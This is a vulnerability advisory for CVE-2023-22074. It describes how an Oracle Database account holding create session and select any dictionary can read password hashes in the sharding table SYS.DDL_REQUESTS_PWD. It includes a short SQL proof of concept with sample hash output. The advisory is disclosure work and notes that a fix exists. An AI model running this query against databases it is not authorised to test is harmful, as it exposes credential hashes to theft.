Oracle database versions 19.3 through 19.20 and 21.3 through 21.11 have an issue where an account with create session and select any dictionary can view password hashes stored in a system table that is part of a sharding component setup.
advisories | CVE-2023-22074
Title: CVE-2023-22074 – Oracle database password hash exposure in sharding component
Product: Database
Manufacturer: Oracle
Affected Version(s): 19c,21c [19.3-19.20 and 21.3-21.11]
Tested Version(s): 19c
Risk Level: Low
Solution Status: Fixed
CVE Reference: CVE-2023-22074
Base Score: 2.4
Author of Advisory: Emad Al-Mousa
*****************************************
Vulnerability Details:
Vulnerability in the Oracle Database Sharding component of Oracle Database Server. Attacker compromising an account with create session and select any dictionary can view password hashes stored in a system table that is part of sharding component setup.
*****************************************
Proof of Concept (PoC):
I will create an account called “jim” in pluggable database ORCLPDB1 and grant the account create session and select any dictionary privilege:
SQL> alter session set container=ORCLPDB1;
Session altered.
SQL> create user jim identified by jim123;
User created.
SQL> grant create session,select any dictionary to jim;
Grant succeeded.
I will now connect using database account “jim” and the account will be able to view the password hashes in system table DDL_REQUESTS_PWD used by database sharding component:
sqlplus "jim/jim123"@ORCLPDB1
SQL> show user
USER is "JIM"
SQL> select * from SYS.DDL_REQUESTS_PWD;
DDL_NUM PWD_BEGIN
---------- ----------
ENC_PWD
--------------------------------------------------------------------------------
123 445
E494684108560FFEF1C17CDE72F36A1A
*****************************************
References:
https://www.oracle.com/security-alerts/cpuoct2023.html
https://nvd.nist.gov/vuln/detail/CVE-2023-22074
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22074
https://databasesecurityninja.wordpress.com/2023/10/25/cve-2023-22074-oracle-database-password-hash-exposure-in-sharding-component/
https://github.com/emad-almousa/CVE-2023-22074
